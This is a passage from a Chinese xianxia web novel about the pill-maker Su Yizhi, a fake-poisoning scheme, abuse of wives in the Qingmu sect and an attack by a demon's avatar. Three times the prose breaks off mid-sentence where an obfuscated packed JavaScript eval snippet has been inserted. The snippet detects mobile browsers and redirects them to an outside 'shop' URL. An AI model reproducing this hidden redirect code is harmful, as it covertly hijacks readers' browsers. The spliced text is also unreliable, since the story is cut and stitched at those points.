青山城内,林潭看着陈尸地上的两个儿子,两眼一黑,差点昏倒,他浑身颤抖,指着跪在旁边的林河,你你你半天说不出话来。 林渊心里想笑,话却说得一本正经:“莫要怪林河,他为了两位堂兄不沦为尸鬼,已经尽力了。更多人都留在了那万里沼泽,无法魂归宗门入土为安。” “行,我不怪你。”林潭只觉得自己呼出的气都火辣辣的,烧得胸腔喉咙生疼,“你把当时的情况给我仔细说说。” “当时一片混乱,我什么也没看清,看到堂兄倒下时,他们已经……” “嗨呀,那么多人,只回来这么几个,想想也知当时有多惨烈,你指望他能说出什么?再说了,你不是给他们两个点魂灯了么,说不定魂灯比林河看到的还清楚些。” “狗屁魂灯!就突然黑了一下,然后没了。” “正常,听说那沼泽尸鬼都是黑的。”林渊说,“我们还是早点回去吧,看看秦旺兄怎么回事。” 离火宗人心惶惶。 宗主重伤,老宗主成了尸鬼,他们寄希望于丹药峰那个天才炼药师苏苏,但苏苏被白金宗的人给抓了。 白金宗的人是最早离开青山城的,虽然损失同样惨重,但他们的年轻弟子钟耀于混乱中抢到了钟仙尸鬼并控制住,钟子皓吕严也拼着一身重伤带回钟吾真尸身,所以一回青山城,钟刚就带着大家离开了。 回到白金宗后,钟刚见秦玉芝脸色不太好,以为她是为钟仙难过,便劝她说修仙之人对抗天道以求青春和长生,必然要付出代价,每个人其实都能接受。 “所以你能接受钟吾真长老的离开吗?” 钟风眼神难得黯然片刻:“叔叔仙去,确实让人难过,但唯一能做的也只有接受。” 随着近来灵气愈发稀薄,整个修真门派,百岁以上的修士已经不多,钟家只有这么一个,现在也走了。 有时候想想是不是不修真反而过得更好,但真的去了那些凡人生活的地方看看,就觉得还是修真好些。那些凡人为生活苦苦挣扎,能活到四五十岁已是十分幸运,一切全凭运气,自己无法做主半分。与他们相比,修真界没什么好抱怨的了。 至于钟仙,钟家子女众多,彼此之间只有竞争,全无感情,认不出人分不清辈分都是常事。 这个大他四岁的侄女,他对她的印象就是常年在外不沾家,因为4岁时目睹姑姑,也就是他的姐姐钟灵难产,发誓此生都不嫁人生子。再大些,面对逼嫁,她离家出走,钟刚就更没怎么听过她了,直到前段时间叔叔钟吾真找上门。 “要不,你生完这胎,就别再生了吧。”钟刚摸着秦玉芝的肚子,“我们的孩子够多了。” 秦玉芝沉默了一会,说:“你对我真好。如果有一天,有人要害我,你会为我报仇吗?” “谁会害你?” “万一呢。” “我会倾白金宗之力护你。”钟刚失笑,“你一个小孩,平日里与人为善,谁会害你?” 秦玉芝摇了摇头,没说话。 她手里有盒药,跟从苏一枝那拿来的补气安胎丸一模一样,但这药却是林木儿给她的。 林木儿说这药吃了会让人假死,她找好了丹药师,到时一口咬定是苏一枝药的问题。 她说服下这药只是假死,过了七天自己就会醒来,但为了戏更逼真,那个丹药师会给她解药,让她服下后立即好转。 秦玉芝有点担心会不会有什么不好的作用,影响她腹内胎儿。林木儿跟她百般保证,说自己也是要做母亲的人,肯定万事都会将孩子放在第一位,会伤害胎儿的事绝对不做,要不是那苏一枝手里有什么玄影石,离火宗已不安全,也不会找她。 她思来想去,觉得苏一枝确实是个威胁,不除不行,遂决定等钟刚一回来,便服下此药。 白金宗的人找上门时,苏一枝正在清点灵植峰送来的药材。 这是秦炎临行前交待的任务,他让灵植峰加班加点,保证苏一枝的药材供应,只求她可以源源不断炼出上品丹药,提升宗门的整体实力。 很多时候苏一枝都忍不住想在丹药里加点料,将所有人毒死拉倒,可又觉得那样没什么意思。 她想起自己奄奄一息时,听到秦玉芝问林木儿,木儿,你有什么愿望吗? “愿望?做青木宗宗主最厉害的女儿,嫁给秦炎,当最好最体面的宗主夫人,再给他生一儿一女,一家子傲视修仙界,算不算?” “就这?虽然听起来很厉害,但对你来说是顺理成章的事吧。”钟仙说,“我只希望自己资质能再高些,修到出窍期,然后当个快乐散修,一辈子都不找道侣,也不结婚,我还要开宗立派,只收女子,让她们都专心修炼,不要为男人而活。” “你们的愿望都好伟大啊,”秦玉芝说,“我就想跟自己的丈夫恩恩爱爱,生很多很多孩子。” “都比我强,我连嫁个像样的修士都不敢想。” 三人很快又讨论起别的事,林桐桐声音淹没在嘻笑声中。 “而我的愿望是,看你们所有人愿望都落空,然后去死。”苏一枝躺在泥土里,默默说。 白金宗的人凶神恶煞,说苏一枝若不立马跟他们走,他们宗主随后就到。 苏一枝挑眉,让惊慌失措的小弟子去告知祝从容一声,便无所谓地跟他们来到白金宗。 原来是秦玉芝忽然腹痛难忍,没多久竟然昏了过去,生死不明,据随身女弟子所说,是吃了从离火宗丹药峰拿的药之后才这样的。 苏一枝一摸脉,笑了,对钟刚说:“药盒是我的,但她吃下去的药绝对不是我的。” “怎么不是你的?”女弟子争辩,“前几日才从你那新拿的药,刚吃了一颗。” 她拿出药盒,上面有离火宗丹药峰专属火云纹,打开一看,九枚丹药还剩八枚:“阮药师说了,这些药就是有问题,你说没问题,你敢吃下去吗?” “这丹药无论外貌,还是气味口感,都与补气安胎丸极为相似,只是里面多了一种叫天仙草的毒物。”那个阮药师说,“修真女子,有了身孕后几乎与凡人女子无异。听说夫人最近身体不适,常感热气,可能因为这个,您想在里面添加少许假苏。有没有可能,将另一种与假苏极为相似的天仙草混进去了呢?” 苏一枝面露嘲讽:“哦,原来是天仙草啊?你不说我还不知道呢。把天仙草当成假苏,你觉得我是傻子?” “听说最近离火宗丹药峰极为忙碌,苏药师自然不会搞错,但您手底下的人可难说啊。” “苏药师,”钟刚终于开口,“事情究竟如何,我自会调查清楚,在此之前,先委屈你留在白金宗。” 苏一枝下巴点了点秦玉芝:“那个阮药师是不是跟你说她服了解毒很快就会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027438|146720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醒转?你有没有想过,如果醒不了呢?” “你什么意思?”阮药师急了。 “毒,不是我下的,但人,我可以救,单看你信不信了。” 苏一枝被请进了一间层层叠叠布满禁制的房间里。 这些禁制对她来说破开并不难,但她懒得去破。 她在想,自己到底要不要救秦玉芝。 如果她没猜错,今天夜里,那个阮药师就会跑路,到了明天,秦玉芝必死无疑。 死了没什么不好,但不该这样稀里糊涂地死。 在所有欺辱过她的人中,秦玉芝看起来是最傻最简单的一个,可也是她最搞不懂的一个。 秦炎伤害她,因为他生性冷漠势利虚荣,觉得自己没用,上不了台面,抗拒她,希望与她永无瓜葛,所以放任别人辱她。 林木儿伤害她,因为她天生坏种,恃强凌弱,加上,妒忌。 钟仙害她,因为高傲,看不起人,寻找一种优越感。 林桐桐,是为虎作伥,只要不是自己,她可以跟着林木儿欺负任何人。 其他人也各有目的,比如柳益是想抱林木儿大腿,祝永浩是帮亲不帮理,林潭是护犊子…… 唯有秦玉芝,苏一枝不知道她究竟为何那样。 仿佛她就是个没有主见没有目标任人拿捏的傀儡,别人叫她做什么她就做什么,只要态度够强硬。苏一枝怀疑,如果自己是颐指气使的性格,秦玉芝会不会也对她言听计从。 可顺从归顺从,她好像又对身边任何人都很不满。 当初是她主动接近自己,后来她背叛了自己。 她什么都听林木儿的,却也经常风言风语去刺林木儿。 她到底,想怎样呢? 秦钟长老小心守护的这棵独苗,可真是一言难尽。 之前苏一枝只知道秦玉芝是秦长老的孙女,特别受宠,后来才知道,其实秦长老是秦玉芝外公。 炼器峰峰主秦钟长老,今年135岁,一生痴迷炼器,40多岁时方才娶了位女修,到60多岁才生了个女儿。那女儿也是个有炼器天赋的,从此父女俩一起沉迷炼器,不问世事。 本来秦钟以为父女俩可以一直这样快乐炼器,生孩子嘛,交给别人就好了,谁知女儿40多岁时,竟被一个炼器散修迷住,要死要活地跟人跑了,没多久就生了个女娃。 结果那个散修只是想要离火宗炼器图谱,得手后就抛妻弃女,女儿产后体弱,受此打击,气绝身亡,妻子也受不住丧女之痛,走了。 秦钟长老怒灭散修满门,将小外孙女带回,取名秦玉芝,当宝贝一般,捧在手心里养大。 他不想秦玉芝步母亲后尘,不教她任何炼器相关,只想她快乐长大,到适婚年龄,自己亲自帮她找个靠谱的,然后生儿育女,和和美美过一生。 不知是不是因为这样,秦玉芝被养成了一个看假单纯实则别扭的人。 傍晚时分,夕阳洒满远处的矿山,映得到处金光闪闪。 钟刚在这片金光中走来。 “我选择相信你,请你救玉芝。” “拖太久了,孩子保不住,并且以后都不会再有孩子了。” “无所谓,能救回玉芝就行。” 苏一枝将刚才在房间就准备好的丹药给秦玉芝喂下去,到秦玉芝恢复了意识,才附在她耳边,低声说:“我只救你这一次,再有下次,你好自为之吧。” 她有理由相信,秦玉芝逃得了这一次,也逃不了下一次,并且,下一次很快就会到来。 25. 第 25 章 秦旭亲自来白金宗接的苏一枝。 秦炎重伤,祝从容炼的丹药效果总归差上一截,秦旺经过梅踪的葫芦净化后毫无好转,依旧是没有心智只知咬人的尸鬼。 他们迫切希望苏苏能救离火宗于水火之中。 林木儿暗中咬碎了牙,她原本的计划是,苏一枝的药毒死秦玉芝,然后被白金宗追责,重则以死偿命,最轻也得逐出宗门,谁知那个阮朱如此无用,用的毒被苏一枝轻易解决。 她自然不会留着阮朱的命让人抓到把柄,好不容易找到颗棋子,还没开始下棋,就废了,真是想想都觉得晦气。 为什么十年前没能彻底弄死她呢? 她到底得了什么奇遇? 她的玄天鼎哪里来的? 她的修为真的只有金丹期吗? 真的好想当着所有人的面揭开她的面具,让大家都知道这是个危险分子,有她在,离火宗很可能会万劫不复。 可是拿不准秦炎的态度,不敢冒这个险。 真是,可恶。 或许是感受到了林木儿的视线,苏一枝抬头冲她笑了笑。 她正在为秦炎用药,祝从容在边上打下手。 “白金宗没对你怎么样吧?”祝从容问。 自从祝永浩死,柳益被逐,秦师宇当上峰主并让苏一枝代为行使职权,祝从容话明显少了许多,也对苏一枝疏远很多。但放眼整个离火宗,最关心苏一枝的,仍然非祝从容这位大师伯莫属。 “没事,都指望着我救命呢,谁会对我怎么样啊。”苏一枝声音轻轻柔柔。 林木儿甚至能听出她声音里的挑衅与得意,她是故意说给自己听的。 “听说秦玉芝孩子没了?”秦炎苍白着脸,虚弱问。 苏一枝第一次见这样的秦炎。 他一向高高在上一尘不染,从没如此狼狈过。 不过他的伤看着吓人,其实只是一次又一次耗力到极限所致。灵力透支过多,身体所受伤害自然无法修复,外伤看着甚是恐怖,五脏六腑也都移了位,但只要他好好养着,等亏空的灵气补足,自然会慢慢痊愈。 “孩子没了,以后也不会再有。”苏一枝说。 说完就见秦炎手猛地抖了一下,嘴唇也有些哆嗦。 苏一枝甚是奇怪,不由看他一眼,秦玉芝怀的又不是他的孩子,至于这样? 再说了,那秦玉芝孩子都三个了,不能生就不能生,有什么大不了的? 不愧是灵岳大陆的男人,将生孩子看得大过天。 秦炎的目光越过苏一枝,看向房间内那个小小法阵。 法阵里是秦旺。 对于父亲,秦炎感情很复杂。 所有人都说秦旺宗主为人宽厚,但在他的记忆里,秦旺对他总是忽冷又忽热,一会儿骂他害死母亲,冷眼看他,几天不理,一会儿又觉得他是母亲拼了性命换来的骨肉,恨不得把他抱在怀里。 这种一惊一乍的日子持续到秦炎8岁。 8岁那年,大他12岁的哥哥秦旭,在20岁的适婚年龄,娶了个43岁的散修。这在修真界不算奇事,问题在于,那散修梅踪天赋挺高,很怕生孩子影响自己身体,坚持此生都不生孩子。按理说这问题也不大,因为修士娶天赋高的女子本来就是装点门面,真生孩子,凡人女子一抓一大把,可是,秦家有家规,不得二娶。 这规矩是母亲钟灵定下的。 据说父亲秦旺原本醉心修炼,也并不想开枝散叶,无奈被催得厉害,便去相看了当时的白金宗宗主众多女儿之一,钟灵。 钟灵纯粹金灵根,天资极高,同样是厌倦了修真界男人一娶一大堆一生生一窝不顾女人死活的做法,坚持日后若是嫁人,对方必须只能娶她一个。 两个大龄青年在双方长辈撮合下,一见钟情,彼此又理念相通,顺利结成连理,并且一直没生孩子。 但是在秦旺36岁那年,因为狐妖林祸乱,父亲亡故,他接任了宗主,被族中秦钟几个长辈各种催着开枝散叶或另娶她人。秦旺一直坚持不另娶,好在20年后,他们终于有了第一个孩子秦旭,又过了12年,生了秦炎。 可惜生秦炎的时候,钟灵难产而死。 秦旺对秦炎的感情矛盾复杂,每次看到他,就会想起钟灵。 直到一向听话的秦旭做出“大逆不道”之事,秦旺为避免类似情况再次发生,决定亲自为秦炎物色一个各方面都符合要求的妻子。 于是他挑中了苏一枝。 可惜那苏一枝实在上不得台面,好在后来终于消失了。 秦炎百般考量下,选择了林木儿。 他一直都知道林木儿的心思,但他并不明白什么是情什么是爱,他觉得合适就好,所以就算再不满意父亲挑的人选,哪怕心里有怨言,也还是抱着一丝希望,觉得苏一枝或许可以成长起来,直到成为一个真正符合要求的人。 谁知小门小户的凡人就是不值得期待。 还是林木儿这样的更适合他,有身份,有天赋,有野心,容不得自己有任何方面不如别人,也绝不会允许自己像她父亲那般“德”不配位,所以,即使不容易怀孕,她也会想办法的。 事实证明果然如此。 这是他们共同的希望,他会保证她的平安生产,不会让昔日阴影重现。 同时他也想父亲能恢复意识,也好让他看看,自己挑的妻子,比当年他帮着挑的,靠谱多了。 “有什么办法救老宗主吗?”秦炎问。 他现在不适合说话,一张嘴,五脏六腑就重新移动起来,痛得他浑身发抖,汗如雨下,他不想让人看到这般凄惨模样,所以此前一直沉默着。 “没有。”苏一枝如实回答。 如果可以,她愿意救秦旺,感谢他曾经对她的“认同”,也想让他知道,自己因为他的认同,吃了多少苦,受了多少罪。 只可惜秦旺元神早被吃干抹净,如今支撑他活动的,是沼泽里那沤了万年的怨气。 梅踪如果继续净化下去,最后秦旺会变成真正的干尸。 满室沉默。 良久,秦炎说:“既如此,那就,拜托大嫂了,让父亲干干净净走吧。” 然后他看向苏一枝,太多的话让他快要承受不住体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037542|146720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内的痛,可他还是艰难道:“务必保证夫人生产顺利,母子平安。” 冷淡如他,也是有心理阴影的。 他太害怕了。 林木儿冷眼看着这一切,恍惚间觉得自己好像是个外人。 将自己的生产交给苏一枝? 想想都知道会发生什么。 苏一枝回来,就是来报复自己的,这一点林木儿十分确定,但她不知道苏一枝具体会采取什么手段。 在她毫无觉察的情况下,苏一枝已然成长为离火宗不可或缺的人物,她明着去打压肯定不行,暗中动手脚,又忌讳那所谓的玄影石。 好不容易让秦玉芝出面,结果搞得一团糟,苏一枝毫发无伤,甚至地位更巩固,自己损失了刚拉拢到的一枚棋子,秦玉芝没了孩子,也不知会不会怪到她头上。 林木儿又想到林桐桐。 上次林桐桐终究没敢把带来的花拿给苏一枝让她帮忙炼药,将那?草原封不动又带了回去,没几日,她就又联系自己,说想再去一趟沼泽,见一见鱼跃。 当时林木儿正心烦,现在想来,倒是一个机会。 她们动不了苏一枝,那鱼跃呢? 即使鱼跃不想插手这件事,但他们黑水门不是还有个邪神么? 献祭50年寿命即可换一个心愿的邪神。 她既然献祭了一次,就可以献祭第二次。 林木儿遂走到秦炎榻前,一点一点,仔细抹去秦炎额上汗珠。 明明可以用净尘诀,但她觉得,这样才能让夫妻更亲密。 “你好生休养,我回青木宗一趟。”她附在秦炎耳边,柔声说。 “去青木宗做什么?” “最近灵植需求量太大了,我回去看看那边灵植园的情况,带些药材回来。” “好。” 林木儿一到青木宗,立刻去找了林桐桐,然后她吃惊发现,林桐桐简直变了个人。 其实修真界没有丑人,不论五官怎么样,起码皮肤都是白皙细腻的,林桐桐以前不是丑,而是平淡,毫无记忆点。 现在不一样了,依然能看出来是林桐桐,但皮肤通透如玉,整张脸不再像之前那般扁平,眼睛更大更深遂了,鼻梁也更高挺了,下巴尖了许多,显得嘴唇更红润饱满。 “你吃了那花?”林木儿问。 林桐桐点头:“但是不知道能保持多久。” “所以想快点给鱼跃看看?”林木儿无语。 林桐桐脸红了红。 她其实也很烦,每次去会情郎,还要让林木儿带着,这算怎么个事呢。带就算了,还经常会出言讥讽。 她也想自己去找鱼跃,可飞行法宝一到那片地儿就会失控,迷失方向,若是不小心掉沼泽里出不来,那就得不偿失了。 与命相比,丢失些脸面算什么。 何况她在林木儿面前本来就没有脸面。 要怪只能怪自己资质太低,人家秦炎那么大个飞行法宝带了那么多的人,在沼泽里都没有迷失方向。 就在林木儿和林桐桐前往沼泽的时候,青木宗有个人悄悄去了离火宗。 26. 第 26 章 苏一枝看着眼前的孙喜男,甚是惊奇。 “为丈夫求药?我记得赵延长老需要的药,已经派人送到青木宗了。” 孙喜男低着头,她好像不太喜欢抬头,上次在青木宗见她,她也总是这样,低头,微微弯着腰,有种说不出的卑微感。 “能不能,单独跟您聊聊?”孙喜男迟疑地看着门外那些弟子,一双手局促不安地搓了搓。 苏一枝点头,将她带到了自己专属的炼药室:“说吧,何事。” “我听到,”孙喜男嗫嚅着,“我听到林木儿跟林桐桐在密谋要加害于你。” “哦?”苏一枝趁机燃起心火炼药,“她们要如何害我?你又为何要告诉我?” 孙喜男终于抬起头,直视苏一枝:“其实十多年前,我见过你。” 苏一枝停止了添加药材:“仔细说说。” “那天我丈夫回家,说地牢关了个姑娘,跟我们女儿差不多大,长得很漂亮。我很好奇,那么小的姑娘,能犯什么事,竟然被关到地牢。正好女儿也想去看看,我便带着女儿偷偷去地牢看了。然后在那里,我看到了被丛棘困住,无法动弹,痛苦无比的你。” 孙喜男看着苏一枝,眼里隐隐有泪光,沉默了许久,才继续道:“我很抱歉,当时没有救你。” 苏一枝摇头:“无妨,继续说。你在青木宗第一次见到我时就认出我了?见过我的人那么多,为什么偏偏只有你认出来了?” 而且是只见过一面。 “因为这么多年,我始终在后悔当初没有救你。也许就是因为没救你,所以才遭了报应。”孙喜男捂住脸,声音难掩哭意,“后来你失踪了,我的女儿,我女儿……” 她终于说不下去了,努力压抑着,却还是哭出声来。 苏一枝静静看着她,忽然好奇,自己消失的这十年,母亲有没有像这样哭过? 孙喜男低声哭了一会,双手手指向两边,抹干眼泪:“抱歉,我没忍住。后来你失踪了,我女儿就成了她们的目标,被她们欺辱,凌虐,直到死亡。刀子砍到自己身上才知道有多痛,我每日每夜只要想到女儿,就会想起当初在地牢里看到的你。要是那时我能救你,后来会不会也有人可以救我女儿?报应,都是报应。那天你到青木宗,我第一眼就认出你来了。你当时想杀林河,是吗?林河跟她们,不是一伙的,他现在都已经被关进青木宗地牢了。” “要真有报应,也应该报应在作恶的人头上。不过我不明白,我被欺辱,是因为我无依无靠,可你女儿并不是,为什么也会遭遇这些?” 孙喜男沉默了,恨意在她眼里流转,片刻,她深吸了一口气:“我可以不说吗?” “随便你。”苏一枝耸肩,“谢谢你来告诉我这些。” 孙喜男递给苏一枝一沓联络灵符:“林木儿她们去找鱼跃了,黑水门的人非常邪门,你要多加小心。有任何需要,都可以吩咐我。只要能为女儿报仇,我肝脑涂地,在所不惜。” “你女儿叫什么名字?” “果儿,她叫赵果儿。” 孙喜男走后,苏一枝捧着玄天鼎,向祝从容打听赵果儿。 “嘘~”祝从容左右张望一番,“以后不要当着外人的面提这个名字,尤其是不要当着夫人的面。” 祝从容说,这是青木宗宗主林潭的耻辱,也是林木儿的黑点。 不过在仙门,这样的耻辱并不少见,大家也见怪不怪了,但仍然少提为妙。 赵果儿是青木宗长老赵延和孙喜男的女儿,18岁时,被宗主林潭看中,娶了回家,那时林潭已经66岁了,林木儿也已经21。年长的修士娶年幼女子并不少见,但很少有娶自己宗门长老女儿的,当时大家就都惊掉了下巴,看向林潭和赵延的眼神,也多了几分玩味。 大概嫁给林潭一年后,赵果儿就死了,有说是被林潭害死的,毕竟他所有妻子无一幸存。也有说是被林木儿虐待而死,但谁也没有切实证据。 总之,赵果儿就这么成了青木宗的不可说,在林木儿嫁给秦炎后,也成了离火宗的不可说。 苏一枝手指敲着玄天鼎,那里面丹药已经快要炼成。 “林潭所有妻子无一幸存?是被害了还是意外?这林潭,克妻啊。” 祝从容笑了:“从来只听说克夫,哪有克妻一说。” 说完忽然想起什么,面露歉意:“你别多想啊。” “如果真有克这个说法,我倒希望我克性能再重些。我不会多想,只是觉得,这灵岳大陆,明明是女人受男人压迫更甚,为何一直以来只说女人克夫,却没人说男人克妻?” 祝从容挠头:“如果非要较真的话,只能说女人整体实力不如男人,被压迫也是没有办法的事。世上哪有什么绝对的公平,你看这丹药峰峰主之职,可以落到我那不问世事的二师弟头上,甚至是你一个新入门弟子头上,就是落不到我头上,偏偏我干的事儿还比谁都多,我找谁说理去。” “噗。”苏一枝笑出声来,“所以你还是耿耿于怀吗?” “早看开了,真介意的话,怎么会跟你说这些。” 这天苏一枝进寂灭空间之前,用了一张给孙喜男的传讯符,让她设法救林河,并将所知道的,能打听到的,所有关于林河的一切,全都告诉自己。 自从进入分神期,能呆在空间里的时间就延长到了两小时,修炼速度再次飞快,苏一枝经常会沉迷修炼,甚至会忘记观察那几个人动向。 今天她决定先看看林木儿和林桐桐到底要去沼泽搞什么鬼。 但是锁定一看,这么久了,那两人居然还没到,看了半天,都在赶路,那法宝速度,看得人着急。 苏一枝叹气,只得先修炼再说。 接到传讯符时孙喜男刚回青木宗不久,正在被赵延痛骂,问她死哪去了。 “去离火宗给你讨了些药。”孙喜男双手将丹药奉上。 “啪!”一个耳光落到脸上。 赵延像脏了手一般,甩甩手,满脸嫌弃:“脑子有病的东西,药不是早就送来了,非得显着你了,单单跑去为我讨,这要是被宗主他们知道了,怎么看我!” “下次不敢了。”孙喜男低眉顺眼。 她的修为其实跟赵延差不多,可她无法跟他动手,只因早年被他下了禁术,还手反击,便会遭到反噬。 除非有一天,她修为远远超过赵延,禁术便自然会破掉,但因为禁术的存在,她修为最多提升到跟赵延持平,就不会再增长。 这样一个死循环,困住她许多年。 孙喜男经常想死,但她不能,储物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044869|146720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空间里那根碧绿玉簪时刻提醒着她,她得活下去,为女儿报仇。 可在青木宗这样一张庞大而腐烂的网里,到底该如何报仇,她又毫无办法。 她一度觉得绝望,直到,她看见了再次出现的苏一枝。 孙喜男时常觉得青木宗是腐朽的,邪恶的,青木宗上上下下的男人,即使哪天被一道天雷灭了满门,也找不出一个无辜者。 俗话说上梁不正下梁歪,青木宗从宗主林潭开始,就充满了令人作呕的气息。 林潭,娶妻八人,无一在世。 林渊,娶妻五人,如今只有发妻余芷还健在。 13个女子,有死于生产,有死于虐待。 可笑的是,那林潭的所有妻子,被他安排在一个名为育仙苑的地方,赵延便有样学样,将自己所有老婆们放到一个洞府,洞府取名:妻庄。 赵延修为上不去,靠着溜须拍马逢迎,当上了长老,平日里暗自对林潭林渊偷偷模仿,虽然学不成,但在娶妻方面,确实做到了有过之而无不及。 他一共娶了九位妻子,如今在世的除了自己还有一个老小许萱,其余七位,全被折磨至死。 孙喜男不是不帮那几个女子,但被折磨最狠的其实就是她自己,因为九位女子里只有她是修士,能活到现在,靠的是一身修为。且像赵延这样以散修身份半路入宗门的,能娶到个女修已经是祖上烧高香,所以他折磨归折磨,却也留意不会让她真的死掉。 至于那些凡人女子,对他无益,生了孩子后便成为发泄工具,直至死亡。 林河是青木宗的例外。 孙喜男不讨厌他,但也对他敬而远之,因为他总是浑身上下散发着浓浓死气,不过这死气在近日倒是有所减轻。 关于林河,孙喜男之前知道的全部就是,他是抱养的,9岁才来青木宗,当时是余芷领着来的。 林渊的几任妻子生的都是女儿,余芷没有生育过,见丈夫求儿若渴,便提议抱养一个男孩,兴许抱养的孩子有兄弟命。 结果林河来了仅三年,余芷就有了身孕。 这在青木宗不是秘密,很多生不出儿子的纷纷效仿。 可是,苏一枝让她救林河,她想了想,觉得最近盘旋在心头的疑问,一下子如拨云见日,心情顿时明朗不少。 林河受了很多酷刑。 因为林潭怀疑他与林明林暗之死有关。 起初孙喜男觉得宗主只是气不过自己儿子死了而林河还活着,故意刁难出气罢了。但她忽然想起一些往事,觉得宗主的怀疑也不无道理。 她记得,当年林明林暗资质其实并没有很低,老宗主身故时,之所以选择了实力一般的林潭,而不是修为更高的林渊,就是因为林潭当时已有两个儿子,并且资质都还说得过去。 后来不知怎么的,两个人修炼就遇到了瓶颈,修为停滞。如今仔细想来,他们修为几乎同时停滞,时间是十年前。 不光修为停滞,就连生育方面也停止了。林明十年来一无所出,林暗虽然三年前有了个女儿,但那孩子一出生,她的生母就不明不白消失了。 难道,真的跟林河有关? 苏一枝知道了这一切,所以才让自己救林河? 孙喜男忽然激动起来,觉得血都热了不少。 27. 第 27 章 苏一枝刚一被弹出空间,一股威压就扑面而来。 有人埋伏袭击她! 那人实力高过自己许多,猝不及防之下,苏一枝吐出一口鲜血。 她来不及细想,第一反应就是铆足了劲,往丹药峰东南方向的东林山飞去。 明面上她的身份还没暴露,她不想在离火宗与人动手。 一道黑影紧随其后,苏一枝未至山腰,第二道威压就又携山海之势压顶而来。 她根本躲避不及,身体瞬间被冻住,动弹不得。 直到这时,她才看清敌人的样子。 黑衣黑裤,黑色披风,就连脸也是黑的,根本看不清五官,在夜色里散发出阴冷气息。 他一招制住苏一枝,便一步步走近,抬起手,五指成爪,朝苏一枝天灵盖扣去。 一支枯藤蓦地从斜里窜出,蛇般缠上黑衣人手臂,猛地一扯,随即地上突然冒出无数黑色枯藤,飞速朝黑衣人身上缠绕盘旋。 黑衣人只得暂时放弃苏一枝,跃至半空,想找出躲在背后对他用藤杀的那个人。 此时他恨不得自己是火系心法,可以一把火将这些破藤烧个干净,可惜,他是个水系,同等修为下,水系遇上木系,力量会被泄掉不少,很难发挥出真正实力。好在,这个用藤杀的人修为远不如自己。 可是手腕上传来钻心的痛。 黑衣人皱眉,那藤,竟然有毒? 他转身,再次攻向苏一枝。 无论如何,都得先将这女人杀了,毕竟,他收了别人献祭的寿命,若没能帮人达成心愿,是要遭受反噬的。 苏一枝身体终于能动了。 这人修为的确高出她许多,但眼前应该不是本体,所以力量被削弱,困不了她太久。 她手底结印,默念心法,刷地指向黑衣人。 一座约摸十丈高的小小土山突然出现,将黑衣人压在山底。 满地枯藤散去,林河现出身来。 依旧是一身竹青色缎面袍子,这是青木宗精英弟子的服饰,此刻看起来,如月色里苍翠的青竹。 孙喜男偷偷摸进地牢放了他时,说是受苏一枝所托,他立刻就往东林山赶。 东林山高高耸立在离火宗东南方向,在靠近离火宗的那个山头,可以俯视整个离火宗,离火宗的丹药峰和灵兽馆,就在山脚。 结果还没靠近东林山就看到有人在追杀苏一枝。 好在,他没有来得太晚。 “你出来了?”苏一枝问。 林河点头:“你刚才那招,是传说中的艮为山吗?当今世上,已无人再修土系心法。” “凡事总有例外。土能克制水系,但那人修为比我高,恐怕困不了他太久,当心。” 两人小心翼翼等了半晌,土山消失,底下空无一人。 苏一枝和林河对视一眼,在彼此眼中看到了不解。 而此时的黑水门老祖殿中,那金身老祖神像,突然黯淡不少,与此同时,殿后秘室里,一个黑衣黑脸的人捂住胸口,嘴角溢出血丝。 他收了别人寿命献祭,放出分身去助人完成心愿,一到目的地,就看到个傀儡假人装模作样在炼药,他守在旁边,果然没多久,就看到真身出现。 没等对方反应过来,他上去直接攻击。 没想到不但没能完成任务,自己分身反而被毁。 收了祭品却没能助人完成心愿,会受反噬,扣除双倍祭品作为惩罚,这是天道规则。 也就是说,他不但没能得到那50年寿命,还要倒贴50年,补偿给献祭寿命向他许愿的人,真是元气大伤。 “艮为山……那丫头究竟是什么人?”他恨恨看向暗壁,终于抹去了嘴角的血。 被他记恨的苏一枝却没并有想太多,见人已消失,两人站在原地又等了一会,苏一枝便准备回丹药峰。 “等等。” 林河叫住她,“你让孙喜男救我,是记起我了吗?” “?”苏一枝转身,面露迷茫,“什么意思?” “看来没有。”林河难掩失望,“那你为什么要救我?” “你不说我都忘了,”苏一枝干脆找了块石头坐下来,“我救你,是想知道,你为什么要杀林明林暗。你不是喜欢林木儿吗?要是说杀秦炎我都能理解,但为什么要杀她哥哥?” 林河眼底肌肉抽动几番,在她身边坐下:“这些莫名其妙的消息,还真是传得到处都是。” 苏一枝歪头看他:“你不会说人不是你杀的吧?” 林河杀林明林暗时,她刚刚渡完分神期雷劫,元神虽然仍无实体,但也不再像出窍期那般,只能在周围游走,而是可以在更大范围内,遨游天地之间。 她小小放任元神遨游了一下,刚好看到沼泽里那场大战。 